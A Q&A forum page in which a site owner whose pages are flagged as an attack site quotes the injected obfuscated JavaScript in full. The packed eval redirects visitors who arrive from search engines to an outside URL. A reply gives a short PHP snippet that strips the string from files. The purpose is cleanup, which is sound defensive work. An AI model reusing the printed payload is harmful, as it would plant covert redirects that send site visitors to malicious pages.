Sign Up

Sign Up to our social questions and Answers Engine to ask questions, answer people’s questions, and connect with other people.

Have an account? Sign In

Have an account? Sign In Now

Sign In

Login to our social questions & Answers Engine to ask questions answer people’s questions & connect with other people.

Sign Up Here

Forgot Password?

Don't have account, Sign Up Here

Forgot Password

Lost your password? Please enter your email address. You will receive a link and will create a new password via email.

Have an account? Sign In Now

You must login to ask a question.

Forgot Password?

Need An Account, Sign Up Here

Please briefly explain why you feel this question should be reported.

Please briefly explain why you feel this answer should be reported.

Please briefly explain why you feel this user should be reported.

Sign InSign Up

The Archive Base

The Archive Base Logo The Archive Base Logo

The Archive Base Navigation

  • SEARCH
  • Home
  • About Us
  • Blog
  • Contact Us
Search
Ask A Question

Mobile menu

Close
Ask a Question
  • Home
  • Add group
  • Groups page
  • Feed
  • User Profile
  • Communities
  • Questions
    • New Questions
    • Trending Questions
    • Must read Questions
    • Hot Questions
  • Polls
  • Tags
  • Badges
  • Buy Points
  • Users
  • Help
  • Buy Theme
  • SEARCH
Home/ Questions/Q 7863531
In Process

The Archive Base Latest Questions

Editorial Team
  • 0
Editorial Team
Asked: June 2, 20262026-06-02T23:30:41+00:00 2026-06-02T23:30:41+00:00

My sites have been marked as a Reported Attack Page! in Firefox. Here is

  • 0

My sites have been marked as a Reported Attack Page! in Firefox.

Here is the suspicious code in question:

<script language="JavaScript">eval(function(p,a,c,k,e,r){e=f
unction(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?Strin
g.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,Str
ing)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e
]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.re
place(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('e r=
x.9,t="",q;4(r.3("m.")!=-1)t="q";4(r.3("7.")!=-1)t="q";4(r.3
("8.")!=-1)t="p";4(r.3("a.")!=-1)t="q";4(r.3("f.")!=-1)t="g"
;4(r.3("j.")!=-1)t="q";4(t.6&&((q=r.3("?"+t+"="))!=-1||(q=r.
3("&"+t+"="))!=-1))B.C="v"+"w"+":/"+"/A"+"b"+"k"+"5"+"h."+"c
"+"z/s"+"u"+"5"+"h.p"+"d?"+"t"+"y=1&t"+"i"+"l="+r.n(q+2+t.6)
.o("&")[0];',39,39,'|||indexOf|if|rc|length|msn|yahoo|referr
er|altavista|ogo|bi|hp|var|aol|query||er|ask|sea|ms|google|s
ubstring|split||||||ea|ht|tp|document|||go|window|location'.
split('|'),0,{}))</script>

I want to write some PHP code to traverse the folders in the site path and fetch the files in each folder. For each file, I will open it and check if it contain the above code using regular expressions.

Is this good idea, or what should I do here?

  • 1 1 Answer
  • 0 Views
  • 0 Followers
  • 0
Share
  • Facebook
  • Report

Leave an answer
Cancel reply

You must login to add an answer.

Forgot Password?

Need An Account, Sign Up Here

1 Answer

  • Voted
  • Oldest
  • Recent
  • Random
  1. Editorial Team
    Editorial Team
    2026-06-02T23:30:43+00:00Added an answer on June 2, 2026 at 11:30 pm

    You just need to do some string replacement, since you know exactly what you’re looking for. Something like this should work (You may need to adjust the call to glob depending on where you invoke this script.

    <?php
    
    $js = 'INSERT THE CODE FROM YOUR POST HERE';
    foreach( glob("*") as $filename) {
        $contents = file_get_contents( $filename);
        $contents = str_replace( $js, '', $contents); // Replace the code with nothing
        file_put_contents( $filename, $contents);
    }
    
    • 0
    • Reply
    • Share
      Share
      • Share on Facebook
      • Share on Twitter
      • Share on LinkedIn
      • Share on WhatsApp
      • Report

Sidebar

Related Questions

I have been using .htaccess rules to hide the index page of EE sites
I have an account at WebFaction, and multiple sites that have been hacked, now
I have been browsing SO and various other sites to find out whether this
I have been investigating OAuth to share resources in my site to other sites.
I have been reading about collision detection in games on stackoverflow and other sites.
Lately I have been reading a lot of blog topics about big sites(facebook, twitter,
On several of my adsense running sites, I have been getting the following errors:
Some weeks ago 2 of my sites have been exploited probably from an ftp
I have been visiting some sites hosted on GAE and I found them to
I have been surprised to learning that a number of my hosted sites only

Explore

  • Home
  • Add group
  • Groups page
  • Communities
  • Questions
    • New Questions
    • Trending Questions
    • Must read Questions
    • Hot Questions
  • Polls
  • Tags
  • Badges
  • Users
  • Help
  • SEARCH

Footer

© 2021 The Archive Base. All Rights Reserved
With Love by The Archive Base

Insert/edit link

Enter the destination URL

Or link to existing content

    No search term specified. Showing recent items. Search or use up and down arrow keys to select an item.